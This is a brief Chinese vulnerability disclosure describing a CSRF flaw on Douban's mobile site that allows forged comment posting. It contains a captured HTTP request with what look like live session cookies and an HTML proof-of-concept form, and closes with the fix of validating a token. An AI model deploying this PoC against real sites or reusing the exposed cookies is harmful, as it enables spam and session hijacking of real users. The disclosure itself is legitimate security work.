csrf 可以用来刷垃圾评论 - -


POST /group/topic/72292507/comments HTTP/1.1 Host: m.douban.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: bid="/dhOdK89vh4"; viewed="1094797"; __utma=30149280.572967685.1408697184.1423144849.1423321947.68; __utmz=30149280.1423041567.66.6.utmcsr=baidu|utmccn=(organic)|utmcmd=organic|utmctr=python%20response%E5%8C%85%E8%8E%B7%E5%8F%96; ll="118172"; __utmv=30149280.6324; push_noty_num=0; push_doumail_num=0; dp=1; _ga=GA1.2.572967685.1408697184; ct=y; dbcl2="63242197:WqZ8/S4kSKo"; ap=1; mbid=e7486b49; mdbs=945983e46934caefbd0c8bad3b9e60cd:35c95cefc2867c25:63242197 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 34 content=here+to+input+your+t222ext 以前session=token 现在 session=null <html> <form action="https://m.douban.com/group/topic/72291905/comments" method=post> <input type=text value="asdasdasdasdasooyun" name="content" /> <input type=submit value="submit" /> </form> </html> 解决方案:

验证token